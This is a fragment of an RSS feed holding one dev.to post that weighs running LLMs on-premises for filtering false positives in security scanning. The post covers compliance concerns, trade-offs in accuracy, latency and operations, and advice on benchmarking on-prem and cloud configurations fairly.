      <category>security</category>
      <category>privacy</category>
    </item>
    <item>
      <title>The case for on-prem LLMs in security scanning</title>
      <dc:creator>hugginf_expert</dc:creator>
      <pubDate>Fri, 23 Oct 2026 09:23:21 +0000</pubDate>
      <link>https://dev.to/ginigenai_hp_0ae441ead91f/the-case-for-on-prem-llms-in-security-scanning-204k</link>
      <guid>https://dev.to/ginigenai_hp_0ae441ead91f/the-case-for-on-prem-llms-in-security-scanning-204k</guid>
      <description>&lt;p&gt;LLMs have quietly become a verification layer in security tooling: a second pass that reads first-stage findings and filters false positives. For many teams the open question is not whether to use one, but where it should run.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why on-prem keeps coming up
&lt;/h2&gt;

&lt;p&gt;In finance, healthcare and the public sector, source code and vulnerability findings are among the most sensitive artifacts an organization holds. Sending them to a cloud API, even transiently, can be a compliance non-starter. Running the model inside the network removes that objection entirely.&lt;/p&gt;

&lt;h2&gt;
  
  
  The trade-offs
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Accuracy: the real question is whether an in-network model matches a frontier cloud model on the task. On security benchmarks this gap has been closing, and in some published comparisons the two are effectively tied.&lt;/li&gt;
&lt;li&gt;Latency and throughput: a single on-prem deployment can be tuned for batch auditing rather than interactive chat, which changes the hardware math.&lt;/li&gt;
&lt;li&gt;Operations: you own the uptime, the updates and the GPUs. That is a cost, and for some teams it is exactly the control they want.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What to measure before you decide
&lt;/h2&gt;

&lt;p&gt;Pin the benchmark and the version, compare the on-prem and cloud configurations under identical conditions, and separate self-measured claims from results run through an official harness. If the in-network configuration holds its score, the sovereignty win comes for free. If it does not, you are trading accuracy for control, and that should be a deliberate choice.&lt;/p&gt;

</description>
      <category>security</category>
      <category>llm</category>
      <category>ai</category>
      <category>devops</category>
    </item>
  </channel>
</rss>
